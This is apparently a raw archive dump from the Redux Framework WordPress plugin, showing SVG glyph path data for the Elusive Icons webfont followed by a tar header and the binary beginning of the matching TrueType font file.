-18q-11 -71 -13.5 -70.5t-14.5 70.5 q11 71 14 71.5z" /> <glyph glyph-name="uniF1FB" unicode="" d="M0 725h283l425 346v-1192l-425 346h-283v500zM868 781q125 -125 128 -305q0 -172 -128 -295l-86 89q88 88 88 209q0 123 -88 214zM1016 926q184 -184 184 -445t-184 -447l-91 91q147 145 147 355t-147 358z" /> <glyph glyph-name="uniF1FC" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301q0 -146 -65 -272t-178 -210q-28 67 -84.5 120t-127.5 84.5t-154 42.5t-163 0.5t-157 -48t-135 -98.5q-65 79 -100.5 176.5t-35.5 204.5q0 163 80.5 301t218.5 218.5t301 80.5zM961 763q-110 40 -222.5 59.5t-219.5 19.5 t-228 -10q-20 1 -32.5 -22t-6.5 -50.5t32 -36.5q97 15 182 17t167.5 -9.5t153.5 -29t166 -47.5q20 -2 32.5 21.5t6.5 51t-31 36.5zM882 586q-93 34 -188 50.5t-185.5 16.5t-193.5 -8q-10 1 -18.5 -7t-12 -20t-3.5 -25t7 -24.5t21 -15.5q82 12 154 14t142 -8t130.5 -25 t140.5 -40q7 -1 13.5 3t11 11t7.5 16t2.5 18.5t-3 18t-9 15.5t-16.5 10zM818 411q-78 30 -158.5 43.5t-156.5 13.5t-162 -7q-15 1 -24 -15.5t-4.5 -36.5t22.5 -26q69 11 130 12.5t120 -7t109.5 -21t118.5 -33.5q14 -1 23 15.5t5 36t-23 25.5zM532 73q72 0 141.5 -49.5 t103.5 -121.5q-86 -27 -177 -27q-151 0 -282 71q29 58 87 92.5t127 34.5z" /> <glyph glyph-name="uniF1FD" unicode="" d="M284 131h473v-98h-473v98zM292 307l471 -32l-6 -98l-472 32zM147 348h78v-394h591v394h78v-473h-50h-619h-78v473zM328 515l459 -113l-24 -95l-459 114zM429 752l408 -239l-50 -84l-407 239zM678 977l263 -393l-81 -54l-263 392zM996 1075l57 -469l-97 -12l-57 469z" /> <glyph glyph-name="uniF1FE" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM604 865l-102 -293l-310 2l246 -188l-97 -294l255 176l250 -183l-89 297l251 181l-309 7z" /> <glyph glyph-name="uniF1FF" unicode="" d="M606 1048l34 -108l105 -326l342 -7l113 -3l-92 -66l-278 -200l99 -327l32 -109l-91 67l-276 202l-281 -195l-93 -64l35 108l107 324l-272 208l-90 68h113l342 -2l113 323zM603 809l-85 -241l-9 -26h-27l-255 1l203 -155l21 -16l-8 -26l-80 -243l210 146l22 15l22 -16 l206 -151l-73 245l-8 26l22 16l208 149l-256 6l-27 1l-8 25z" /> <glyph glyph-name="uniF200" unicode="" d="M961 -98l-367 269l-374 -259l142 432l-362 276l455 -2l151 430l139 -434l455 -10l-370 -266z" /> <glyph glyph-name="uniF201" unicode="" d="M250 -125v1200h200v-550l500 500v-1100l-500 500v-550h-200z" /> <glyph glyph-name="uniF202" unicode="" d="M950 1075v-1200h-200v550l-500 -500v1100l500 -500v550h200z" /> <glyph glyph-name="uniF203" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM300 775v-600h600v600h-600z" /> <glyph glyph-name="uniF204" unicode="" d="M0 1075h1200v-1200h-1200v1200z" /> <glyph glyph-name="uniF205" unicode="" d="M1075 843q99 -131 120 -293.5t-40 -307.5q-50 -111 -136 -194t-194 -127.5t-224 -45.5q-171 2 -314.5 91t-220.5 236h262q56 0 104 22t77 62t30 91q0 45 -17 81.5t-51 57.5q-10 5 -21 9.5t-19.5 7.5t-22 6t-20 4.5t-22.5 4t-21 3.5q-2 0 -9.5 1.5t-10 2.5t-9.5 2.5t-10 3 t-8.5 4t-8.5 5t-6 6t-4.5 7.5t-1.5 9q3 53 88 53h182q49 -1 74 -12q36 -16 37 -51v-182q2 -95 63 -148q61 -49 145 -50q90 2 146 50q63 59 63 148v443zM601 1075q183 -2 338 -104v-576q-3 -31 -23 -51.5t-50 -20.5q-31 2 -52 22.5t-21 49.5v173q-3 149 -97 184 q-29 11 -63 11h-295q-84 -2 -138 -47q-58 -53 -58 -129q1 -55 25 -91q37 -51 110 -65q14 -3 47.5 -7.5t50.5 -10.5q30 -11 30 -42q-2 -32 -36 -42q-24 -6 -88 -6h-262q-19 80 -19 152q2 123 51.5 234.5t130.5 191t190.5 126.5t228.5 48z" /> <glyph glyph-name="uniF206" unicode="" d="M31 634v348q2 39 29 66t63 27h348q45 -3 89 -20t70 -46l515 -573q24 -31 24 -68.5t-24 -63.5l-403 -403q-30 -26 -68.5 -26t-63.5 26l-513 575q-30 34 -48 76t-18 82zM182 835q1 -38 27 -63.5t62 -25.5q38 1 63.5 27.5t25.5 61.5q-2 38 -28 63.5t-61 25.5 q-38 -2 -63.5 -28t-25.5 -61z" /> <glyph glyph-name="uniF207" unicode="" d="M0 608v290q3 34 24.5 55.5t52.5 22.5h291q52 -1 106 -34l456 -500q20 -27 20.5 -57t-20.5 -52l-337 -336q-26 -22 -57 -22.5t-52 22.5l-429 478q-54 67 -55 133zM147 723q25 -22 55 -21.5t51 21.5q22 24 21.5 54.5t-21.5 51.5q-24 21 -54.5 20.5t-51.5 -20.5 q-22 -26 -21.5 -55t21.5 -51zM506 974h112q37 -2 73.5 -16.5t58.5 -38.5l429 -479q21 -25 21 -56.5t-21 -53.5l-336 -335q-74 -42 -118 9l329 329q22 25 21.5 56t-21.5 53l-383 429q-30 38 -86.5 69.5t-78.5 33.5z" /> <glyph glyph-name="uniF208" unicode="" d="M0 944h1200v-235h-1200v235zM753 886v-119h385v119h-385zM0 592h1200v-234h-1200v234zM488 534v-118h650v118h-650zM0 241h1200v-235h-1200v235zM895 183v-119h243v119h-243z" /> <glyph glyph-name="uniF209" unicode="" d="M992 1075l208 -209h-139v-782h139l-208 -209l-209 209h140v782h-140zM6 867h685l5 -213h-73q0 110 -23.5 128t-164.5 18v-588q0 -53 13 -62t90 -9v-58h-380v58h1q75 -1 88.5 7.5t13.5 49.5v14v588h-1q-139 0 -162.5 -18t-23.5 -128h-74z" /> <glyph glyph-name="uniF20A" unicode="" d="M258 1075h685l5 -213h-73q0 109 -24 127.5t-164 18.5v-588q0 -53 13 -62t90 -9v-59h-380v59h1q75 -2 88 6.5t14 50.5v14v588h-1q-139 0 -162.5 -18.5t-23.5 -127.5h-74zM209 292v-140h782v140l209 -209l-209 -208v139h-782v-139l-209 208z" /> <glyph glyph-name="uniF20B" unicode="" d="M0 1075h525v-525h-525v525zM675 1075h525v-525h-525v525zM0 400h525v-525h-525v525zM675 400h525v-525h-525v525z" /> <glyph glyph-name="uniF20C" unicode="" d="M0 1075h300v-300h-300v300zM469 1075h731v-300h-731v300zM0 625h300v-300h-300v300zM469 625h731v-300h-731v300zM0 175h300v-300h-300v300zM469 175h731v-300h-731v300z" /> <glyph glyph-name="uniF20D" unicode="" d="M0 1075h300v-300h-300v300zM450 1075h300v-300h-300v300zM900 1075h300v-300h-300v300zM0 625h300v-300h-300v300zM450 625h300v-300h-300v300zM900 625h300v-300h-300v300zM0 175h300v-300h-300v300zM450 175h300v-300h-300v300zM900 175h300v-300h-300v300z" /> <glyph glyph-name="uniF20E" unicode="" d="M1141 278h-298q9 -71 25 -142q8 -109 -113 -191q-24 -15 -51 -7q-25 9 -37 35l-136 305h-137q-18 1 -31.5 9t-21 21t-7.5 30v602q1 18 9 31.5t21.5 21t29.5 7.5h552q42 -3 84 -27q65 -40 86 -104l83 -520q4 -29 -13.5 -50t-44.5 -21zM218 266h-175q-9 1 -17 4.5 t-13.5 8.5t-9 12.5t-3.5 16.5v665q1 19 13.5 30.5t29.5 11.5h175q19 -2 31 -13.5t12 -28.5v-665q-1 -19 -13.5 -30.5t-29.5 -11.5z" /> <glyph glyph-name="uniF20F" unicode="" d="M718 1014q19 1 41.5 -13t36 -27t32.5 -34q19 -23 28.5 -48t9 -54.5t-2.5 -50.5t-9.5 -58.5t-10.5 -55.5h299q29 -1 44.5 -20.5t13.5 -51.5l-84 -518q-9 -32 -34.5 -61t-61.5 -48t-74 -24h-552q-25 1 -41.5 17t-18.5 43v603q0 12 4.5 22.5t12 18.5t19 13t24.5 6h137 l136 304q6 14 20 25.5t31 11.5zM218 685q11 -1 20.5 -6t15.5 -14.5t7 -21.5v-666q0 -17 -12.5 -28.5t-30.5 -12.5h-175q-17 0 -29 11.5t-14 29.5v666q0 11 5.5 20.5t15.5 15t22 6.5h175z" /> <glyph glyph-name="uniF210" unicode="" d="M1024 899q83 -83 129.5 -192.5t46.5 -231.5q0 -163 -80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5q122 0 231.5 -46.5t192.5 -129.5zM902 813l-297 -298l-176 176l-13 -12l-84 -84l-11 -12l284 -284v0l406 406z " /> <glyph glyph-name="uniF211" unicode="" d="M600 1075q117 0 227.5 -44.5t196.5 -131.5q116 -115 156.5 -269.5t0 -309t-156 -270t-270 -156t-309 0t-270 156t-156 270t0 309t156.5 269.5q86 87 196.5 131.5t227.5 44.5zM600 918q-87 0 -168.5 -33t-144.5 -97q-86 -85 -116 -199t0 -228t115.5 -199.5t199.5 -115.5 t228 0t199 116q52 51 84 114.5t41.5 131t0 135t-41.5 131t-84 114.5q-42 43 -94 72.5t-107 43.5t-112 14zM539 818h153v-281v-153h-153h-156v153h156v281z" /> <glyph glyph-name="uniF212" unicode="" d="M176 300q2 125 67 227q23 33 68.5 97t65.5 94q107 166 152 308q9 26 28 38.5t43 9.5q27 2 45 -11t26 -37q44 -143 153 -308q21 -35 66.5 -96t66.5 -95q66 -106 67 -227q-2 -87 -34.5 -165t-88.5 -136q-62 -60 -141 -91.5t-160 -32.5q-86 2 -164 34.5t-136 89.5 q-60 62 -92 141t-32 160zM362 206q2 -45 33 -75.5t73 -31.5q45 2 75 33.5t31 73.5q0 32 -17 56q-21 28 -34 48q-30 49 -38 77q-3 15 -17 13q-14 3 -18 -13q-10 -34 -37 -77q-5 -8 -11 -16t-12.5 -16.5t-10.5 -15.5q-18 -24 -17 -56z" /> <glyph glyph-name="uniF213" unicode="" d="M1130 304v-429h-1060v429l405 172q-72 46 -109.5 122t-37.5 160q0 80 33.5 151.5t97 118t141.5 47.5q62 -2 114 -30.5t86 -73.5t53 -100.5t19 -112.5q-2 -88 -39.5 -163t-103.5 -117z" /> <glyph glyph-name="uniF214" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM507 851v-58h-217v-105h620v105h-217v58h-186zM323 607v-508h554v508h-554z" /> <glyph glyph-name="uniF215" unicode="" d="M451 1075h298v-92h346v-169h-990v169h346v92zM158 686h884v-811h-884v811z" /> <glyph glyph-name="uniF216" unicode="" d="M1200 1075v-1200h-1200v1200h1200zM699 200q-39 11 -57 25q-9 8 -9 14v307h194v134h-194v203h-112q-6 -85 -50.5 -144t-121.5 -59v-134h92v-332q1 -40 18.5 -72t48.5 -49q50 -26 124 -26q102 0 123 1q53 2 96 24v143v2v-2q-25 -16 -56 -28q-53 -17 -96 -7z" /> <glyph glyph-name="uniF217" unicode="" d="M1200 858q-12 -25 -45 -64t-81 -68q2 -11 2 -21q5 -132 -51 -278q-97 -242 -293 -364q-190 -109 -457 -83q-170 19 -275 106q99 -12 192.5 17t174.5 89q-80 -2 -141 47t-92 125q20 -5 52 -2q39 3 59 8q-121 39 -167 129q-28 59 -28 124q66 -36 111 -34q-98 83 -109 177 q-7 74 30 160q136 -150 285 -214q113 -46 224 -47q-14 113 30 190q53 84 155 113q65 16 126 -4t103 -67q73 8 159 59q-15 -47 -43.5 -85t-66.5 -57q75 14 146 44z" /> <glyph glyph-name="uniF218" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 995q-106 0 -202 -41.5t-166 -111t-111 -165.5t-41 -202t41 -202t111 -166t166 -111t202 -41t202 41 t165.5 111t111 166t41.5 202t-41.5 202t-111 166t-165.5 111t-202 41zM922 534q13 -12 13.5 -28t-9.5 -28q-11 -13 -28 -14t-28 10q-23 21 -74.5 64t-77.5 67l-3.5 2t-8.5 4.5t-8 2.5q-7 0 -7 -17q1 -17 1 -69.5t3 -80.5q3 -26 3 -30l58 -327q3 -22 -8.5 -38t-31.5 -20 q-12 -3 -25 2t-21.5 15.5t-10.5 22.5q-47 264 -47 269q-1 0 -1.5 4t-1 7.5t-1.5 7.5t-3 6.5t-5 2.5q-4 -1 -6.5 -5.5t-3 -8.5t-1 -8.5t-1.5 -5.5l-47 -269q-6 -21 -22 -32t-35 -8q-22 6 -32.5 22t-7.5 36l57 329q7 45 7 176q0 18 -7 18.5t-19 -9.5l-152 -130 q-13 -10 -29.5 -9t-26.5 13q-23 32 4 56l199 176q14 9 26.5 12.5t29.5 3.5h134q17 0 29.5 -3.5t26.5 -13.5q11 -10 85 -75t114 -100zM688 836.5q0 -36.5 -25.5 -62t-62 -25.5t-62 25.5t-25.5 62t25.5 62t62 25.5t62 -25.5t25.5 -62z" /> <glyph glyph-name="uniF219" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM608 863q-55 -3 -98.5 -28.5t-69.5 -70t-30 -100.5v-92h-101v-367h582v367h-364v92q0 22 11 40t29.5 29 t40.5 12q17 1 31.5 -4.5t25 -16t17 -25.5t8.5 -32h116q-3 80 -59.5 139.5t-138.5 56.5z" /> <glyph glyph-name="uniF21A" unicode="" d="M1131 544v-669h-1062v669h184v168q1 49 14 96t36.5 87.5t55.5 73.5q49 48 115 77t141 29q73 -1 138.5 -29t115.5 -75q50 -52 78 -118t30 -134h-213q-2 56 -43 98q-46 43 -106 44q-63 -2 -105 -44q-43 -46 -43 -105v-168h664z" /> <glyph glyph-name="uniF21B" unicode="" d="M600 -125q-163 0 -301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5t301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5zM600 945q-96 0 -182.5 -37.5t-149.5 -100.5t-100.5 -149.5t-37.5 -182.5t37.5 -182.5t100.5 -149.5 t149.5 -100.5t182.5 -37.5t182.5 37.5t149.5 100.5t100.5 149.5t37.5 182.5t-37.5 182.5t-100.5 149.5t-149.5 100.5t-182.5 37.5zM717 224h-234v267h-147l264 248l264 -248h-147v-267z" /> <glyph glyph-name="uniF21C" unicode="" d="M960 288q0 -114 -82 -183q-44 -37 -91 -56.5t-118 -26.5v-147h-143v144q-85 2 -150.5 16.5t-134.5 45.5v189q63 -31 150 -54q6 -2 23 -6.5t22 -6t18 -4.5t19 -4t16 -3t18.5 -3t18.5 -1v222l-26 19q-142 56 -201 121q-59 66 -59 163q0 104 81 170q44 37 90 56t115 26v110 h143v-107q79 -3 142 -19t133 -47l-68 -168q-62 26 -107 39t-100 17v-211q43 -17 80.5 -36t51 -28t44.5 -30q60 -39 87 -86q28 -48 28 -111zM744 277q0 31 -24 51q-6 5 -12.5 13.5t-15 16t-23.5 13.5v-178q46 7 60.5 27t14.5 57zM456 713q0 -32 21 -53q5 -3 9.5 -9.5t8.5 -11 t12 -10t19 -10.5v168q-43 -6 -56.5 -23t-13.5 -51v0z" /> <glyph glyph-name="uniF21D" unicode="" d="M940 217q80 -30 137.5 -57t90 -52.5t32.5 -45.5v-187h-1200v187q0 30 69.5 70t190.5 85q119 43 163.5 87.5t44.5 121.5q0 27 -13 53.5t-31.5 54.5t-24.5 48q-14 42 -36 162q-12 65 -17 112q-2 21 3 46.5t21.5 57t43.5 56.5t75.5 42t110.5 17t110.5 -17t75.5 -42 t43.5 -56.5t21.5 -57t3 -46.5q-5 -47 -17 -112q-22 -119 -36 -162q-7 -20 -25 -48t-31 -54.5t-13 -53.5q0 -53 19.5 -88.5t63.5 -63.5t125 -57z" /> <glyph glyph-name="uniF21E" unicode="" d="M551 1075q43 -24 82 -92t60 -138.5t20 -115.5zM1058 1051q2 0 4 -3q55 -74 57 -224q-1 -45 -14.5 -90t-39 -87t-68 -68t-95.5 -26q-54 5 -107 51q-8 7 -6.5 10.5t19.5 14.5q81 48 141 101t80 94q10 22 9 25q-2 2 -9 -9l-6 -8q-62 -99 -173 -153q-52 -25 -94 -31 q-15 30 -21 54.5t-4.5 54t14.5 59.5q11 22 34.5 43t52 36t59.5 24q48 13 90.5 44.5t68.5 78.5q4 8 8 9zM513 740q88 0 169 -34l-39 -91q-62 27 -130 27q-91 0 -168 -45t-121.5 -121.5t-44.5 -167.5q0 -64 23 -122t62 -101.5t93.5 -72.5t116.5 -36q50 29 91 77t66 103 t44.5 118.5t27.5 124.5t13.5 120.5t3.5 106.5t-2 83q40 -85 45 -192.5t-21 -209t-82 -192t-131 -141.5q134 6 226 102.5t92 231.5q0 68 -26 130l91 38q34 -80 34 -168t-34.5 -168t-92.5 -138t-138 -92.5t-168 -34.5t-168 34.5t-138 92.5t-92 138t-34 167.5t34 167.5t92 138 t138 92.5t168 34.5z" /> <glyph glyph-name="uniF21F" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM242 746v-542h716v542h-716zM330 658h540v-366h-540v366zM520 594v-244l210 123z" /> <glyph glyph-name="uniF220" unicode="" d="M0 1026h1200v-855h-567l-386 -247v247h-247v855zM263 811v-398h483v149l191 -149v398l-191 -149v149h-483z" /> <glyph glyph-name="uniF221" unicode="" d="M0 929h1200v-908h-1200v908zM147 782v-614h906v614h-906zM465 675l354 -204l-354 -205v409z" /> <glyph glyph-name="uniF222" unicode="" d="M1111 1075l89 -89l-1111 -1111l-89 88zM0 1073h281v-281h-281v281zM331 1073h282v-281h-282v281zM0 737h281v-282h-281v282zM331 737h282l-282 -282v282zM826 439h374v-158h-548zM615 237h585v-158h-585v158zM615 35h585v-158h-585v158z" /> <glyph glyph-name="uniF223" unicode="" d="M953 757q-64 49 -131.5 31.5t-121.5 -70t-75 -111.5h15h15t15 -0.5t14 -2t13 -3.5q35 -18 30 -78q-8 -35 -23 -73t-40 -72t-51 -38q-18 -2 -37 20q-17 21 -27.5 50t-14 51.5t-7 57t-6.5 51.5q-1 8 -4 27t-5.5 33t-7 33.5t-10.5 34t-14 29t-19.5 25t-25.5 15.5 q-26 3 -52.5 -3.5t-52 -22.5t-43 -30t-39.5 -34q-44 -41 -89 -78v-5q4 -5 10.5 -14t8.5 -12q14 -14 44 -4q5 1 12.5 3t11.5 3t9.5 2.5t9 1.5h8t7.5 -1t6.5 -3.5t6.5 -6t6.5 -8t7.5 -11.5q34 -91 88 -304q9 -27 15 -43t17.5 -39.5t26.5 -38.5t34 -23q29 -9 61.5 -1.5 t55.5 21.5q144 91 255 287q5 11 26 50.5t32.5 63t27 64t21 68t3 57.5t-16.5 51zM1200 1075v-1200h-1200v1200h1200z" /> <glyph glyph-name="uniF224" unicode="" d="M0 1075h1200v-1200h-1200v1200zM533 754q-86 -1 -100 -38q20 -6 33 -16.5t18.5 -24t7 -24.5t1.5 -27q-1 -113 -5 -113q-7 -27 -20.5 -28t-28.5 15q-56 74 -117 204q-12 28 -35 27q-11 0 -59.5 1t-74.5 -1.5t-37 -11.5q3 -33 25 -80q55 -120 172 -285q23 -26 35 -39 t34 -33.5t37 -30t38.5 -22.5t47 -18t54.5 -8t66 -1h4q12 0 19 1t16.5 5t14.5 13t7 23l6 59q2 19 16.5 23t28.5 -2.5t20 -15.5q17 -27 63.5 -69t79.5 -41l154 6q23 1 28 21t-12 46q-34 51 -122 133q-1 0 -2 1q-43 39 18 105q12 13 28 33t35.5 47t33 51.5t20.5 46t-1 30.5v1 q-8 9 -12.5 10.5t-24.5 1.5h-7h-144q-29 0 -36 -9q-3 -4 -10 -19l-4 -8q-1 -3 -13 -29.5t-16.5 -35.5t-16.5 -32.5t-20.5 -35.5t-20.5 -28.5t-24.5 -27t-25.5 -18.5q-12 5 -18.5 23.5t-7 46.5t0.5 52.5t3.5 51.5t2.5 33q2 55 -70 57q-1 0 -32 2t-51 2z" /> <glyph glyph-name="uniF225" unicode="" d="M171 690h243l367 299v-1028l-367 299h-243v430zM919 739q108 -108 110 -263q0 -148 -110 -254l-74 76q76 76 76 180q0 106 -76 185z" /> <glyph glyph-name="uniF226" unicode="" d="M1089 394q3 -3 3 -6.5t-3 -6.5l-57 -57q-3 -2 -6 -2t-6 2l-82 82l-81 -82q-2 -2 -6 -2q-3 0 -6 2l-57 57q-2 3 -2 7q0 3 2 6l81 81l-81 81q-2 3 -2 6q0 4 2 7l57 57q3 2 6.5 2t5.5 -2l81 -82l82 82q2 2 5.5 2t6.5 -2l57 -57q3 -3 3 -6.5t-3 -6.5l-81 -81zM108 690h244 l367 299v-1028l-367 299h-244v430z" /> <glyph glyph-name="uniF227" unicode="" d="M0 690h244l367 299v-1028l-367 299h-244v430zM748 739q109 -108 111 -263q0 -148 -111 -254l-74 76q77 76 77 180q0 106 -77 185zM876 864q159 -159 159 -383.5t-159 -386.5l-79 79q127 125 127 306.5t-127 308.5zM992 981q98 -98 153 -227.5t55 -273.5t-55 -274.5 t-153 -227.5l-76 76q176 176 176 425t-176 425z" /> <glyph glyph-name="uniF228" unicode="" d="M1074 446q5 21 -11 27l-45 21q-9 3 -17.5 -1t-10.5 -12q-16 -34 -41 -34q-26 0 -42.5 28t-16.5 73.5t16.5 74t42.5 28.5q25 -2 41 -33q7 -17 28 -11l45 21q8 4 11 12.5t-2 16.5q-39 85 -123 85q-70 0 -113 -53.5t-43 -140t43 -139.5t113 -53q84 0 125 90zM638 356 q54 1 91 34.5t38 82.5q-2 50 -40 82q34 32 34 76q-1 52 -37.5 80.5t-85.5 28.5q-78 0 -121 -61q-10 -14 3 -28l33 -30q15 -14 31 1q21 29 50 29q23 0 27 -11q7 -15 0 -32q-5 -5 -12.5 -7.5t-12 -3t-16 0t-14.5 0.5q-6 0 -11.5 -2.5t-8.5 -7.5t-3 -11v-49q1 -11 7.5 -17 t15.5 -4q54 0 60 -11q5 -11 5 -18q0 -31 -35 -31q-33 0 -55 30q-6 8 -15.5 8.5t-15.5 -5.5l-34 -34q-13 -13 -3 -27q44 -62 125 -63zM502 710q2 10 -4 18t-15 8h-61q-16 0 -19 -16l-29 -147l-30 147q-4 16 -20 16h-44q-18 0 -21 -16l-30 -147l-29 147q-3 16 -20 16h-59 q-8 0 -13 -4t-7 -9.5t-1 -12.5l76 -332q4 -16 20 -16h58q16 0 20 16l28 137l27 -137q3 -16 21 -16h57q17 0 21 16zM1200 1075v-919l-600 -281l-600 281v919h1200z" /> <glyph glyph-name="uniF229" unicode="" d="M600 1075l600 -1200h-1200zM554 659v-159l22 -223h48l22 223v159h-92zM554 190v-100h92v100h-92z" /> <glyph glyph-name="uniF22A" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM281 773v-596h638v596h-638zM360 695h480v-440h-480v440zM412 639v-195h375v195h-375zM412 410v-106h106v106 h-106zM546 410v-106h106v106h-106zM680 410v-106h107v106h-107z" /> <glyph glyph-name="uniF22B" unicode="" d="M699 153h-200v199h200v-199zM951 153h-199v199h199v-199zM446 153h-200v199h200v-199zM951 784v-368h-705v368h705zM1052 890h-904v-830h904v830zM0 -87v1124h1200v-1124h-1200z" /> <glyph glyph-name="uniF22C" unicode="" d="M477 1075q51 -2 84.5 -36t34.5 -83q-2 -51 -37 -85.5t-82 -34.5q-34 1 -61.5 17t-43 43t-16.5 60q2 33 18 60.5t43 43t60 15.5zM510 809q33 0 58 -20q12 -10 19.5 -19.5t12 -23t6.5 -20.5t5.5 -26.5t4.5 -27.5h200q8 -1 16 -4t14.5 -8t11 -11.5t6.5 -14.5 q4 -18 -2.5 -33.5t-20.5 -23.5t-33 -7h-170l26 -125h217q56 -3 77 -47l196 -341q9 -19 5 -38.5t-17 -32.5q-26 -22 -57.5 -16t-45.5 36l-169 294q-65 1 -102 0.5t-102.5 -1t-100.5 -0.5q-32 2 -54 20t-28 47l-70 339h1q-4 19 5 41t22 35q28 28 69 28zM326 663q39 1 52 -31 q7 -22 -2 -40t-29 -24q-93 -38 -147 -114q-56 -82 -56 -173q1 -63 25.5 -119t67.5 -97q99 -89 223 -90q103 2 183 56q83 60 115 146q8 18 12 37q7 22 24 32.5t37 6.5q23 -7 34 -23t6 -37q-6 -27 -15 -49q-48 -124 -154 -195q-114 -73 -242 -74q-85 2 -162 33t-134 86 q-59 59 -91 134.5t-33 152.5q3 130 74 231q78 104 196 149q8 2 16 2z" /> <glyph glyph-name="uniF22D" unicode="" d="M599 -125q-123 2 -234 51.5t-190.5 131t-126.5 191t-48 227.5q2 123 51.5 234t130.5 190.5t190 126.5t227 48q123 -2 234.5 -51.5t191.5 -130.5t127 -190t48 -227q-2 -99 -34 -191t-88.5 -165t-130 -128.5t-163.5 -85.5t-185 -31zM599 1032q-114 -2 -217.5 -47.5 t-177.5 -121t-118 -177t-45 -210.5q2 -115 48 -218.5t121.5 -177.5t177.5 -118t211 -44q115 2 218.5 48t177.5 121.5t118 177t44 211.5q-2 114 -48 217.5t-121.5 177t-177 117.5t-211.5 44zM455 -15l154 441l160 -432q-158 -53 -314 -9zM337 765q-84 -11 -164 -8 q75 107 189 167.5t237 61.5q98 -2 187.5 -37t158.5 -98q-56 5 -85 -46q-6 -20 -6.5 -39.5t3.5 -35t12 -34t15.5 -31.5t18.5 -31.5t17 -30.5q40 -75 11 -173l-77 -262l-185 550q53 5 56 6q16 3 19 15t-8 21q-6 5 -15 5l-111 -8h-84q-6 -1 -32.5 3.5t-44 2.5t-20.5 -16 q-2 -8 3 -15t14 -8q38 -5 56 -7l81 -217l-113 -332l-186 550q52 5 57 6q22 3 20 22q-2 8 -9 13.5t-15 5.5zM132 680l245 -664q-130 64 -208 185q-68 107 -77 238t40 241zM1091 339q-30 -99 -91 -178t-146 -128q9 22 26 74l143 414q21 60 29 134q3 34 -1 59q90 -195 40 -375z " /> <glyph glyph-name="uniF22E" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM763 835q-81 0 -138 -57q-41 -41 -53 -97.5t7 -108.5l-339 -339l118 -118l339 339q52 -19 108.5 -7t97.5 53 t53 97.5t-7 108.5l-120 -120l-85 33l-33 85l120 120q-33 11 -68 11zM333 257q9 9 23 9t26 -9q10 -11 10 -25t-10.5 -24.5t-24.5 -10.5t-24.5 10.5t-10.5 24.5t11 25z" /> <glyph glyph-name="uniF22F" unicode="" d="M984 1056l-199 -199l55 -142l142 -55l199 199q32 -85 12 -179.5t-88.5 -162.5t-162.5 -88t-180 12l-565 -566l-197 197l566 565q-32 86 -12 180t88 162.5t162.5 88.5t179.5 -12zM236 111q-17 17 -41 17t-40.5 -17t-16.5 -41t16.5 -40.5t40.5 -16.5t41 16.5t17 40.5 t-17 41z" /> <glyph glyph-name="uniF230" unicode="" d="M1200 20h-1200v910h1200v-910zM427 209l420 263l-420 264v-527z" /> <glyph glyph-name="uniF231" unicode="" d="M614 768v-154h154v-153h-154v-154h-153v154h-154v153h154v154h153zM1200 9l-134 -134l-221 222q-139 -97 -308 -97q-109 0 -208.5 42.5t-171.5 114.5t-114.5 171.5t-42.5 209t42.5 209t114.5 171.5t171.5 114.5t208.5 42.5q74 0 143.5 -19.5t128.5 -54t108.5 -84 t84 -108.5t54 -128.5t19.5 -142.5q0 -169 -97 -308zM537.5 154q104.5 0 193 51t139.5 139.5t51 193t-51 193t-139.5 139.5t-193 51t-193 -51t-140 -139.5t-51.5 -193t51.5 -193t140 -139.5t193 -51z" /> <glyph glyph-name="uniF232" unicode="" d="M1200 9l-134 -134l-221 222q-139 -97 -308 -97q-109 0 -208.5 42.5t-171.5 114.5t-114.5 171.5t-42.5 209t42.5 209t114.5 171.5t171.5 114.5t209 42.5t209 -42.5t171.5 -114.5t114.5 -171.5t42.5 -208.5q0 -169 -97 -308zM537.5 154q104.5 0 193 51t139.5 139.5t51 193 t-51 193t-139.5 139.5t-193.5 51q-78 0 -149 -30t-122.5 -81.5t-82 -122.5t-30.5 -150q0 -104 51.5 -192.5t140 -139.5t193 -51zM307 461v153h461v-153h-461z" /> </font> </defs></svg> ������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/fonts/elusiveicons-webfont.ttf����������������������0000644�����������������00000234570�14720701300�0024071 0����������������������������������������������������������������������������������������������������ustar�00��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������pFFTMnbd������OS/2JKh �����`cmap���x��Bcvt �����-��� fpgmo9�-�� lgasp����-|���glyf���\head1����6hhea R5�P���$hmtx!Q �t��rlocaں���lmaxp �T��� name=s�t��post�!`�� prepk�8���{�������=����vJ����vJ���� H��� H��@�;6��� ���������������������PfEd�23�l3�~�������������� ����������������<������� 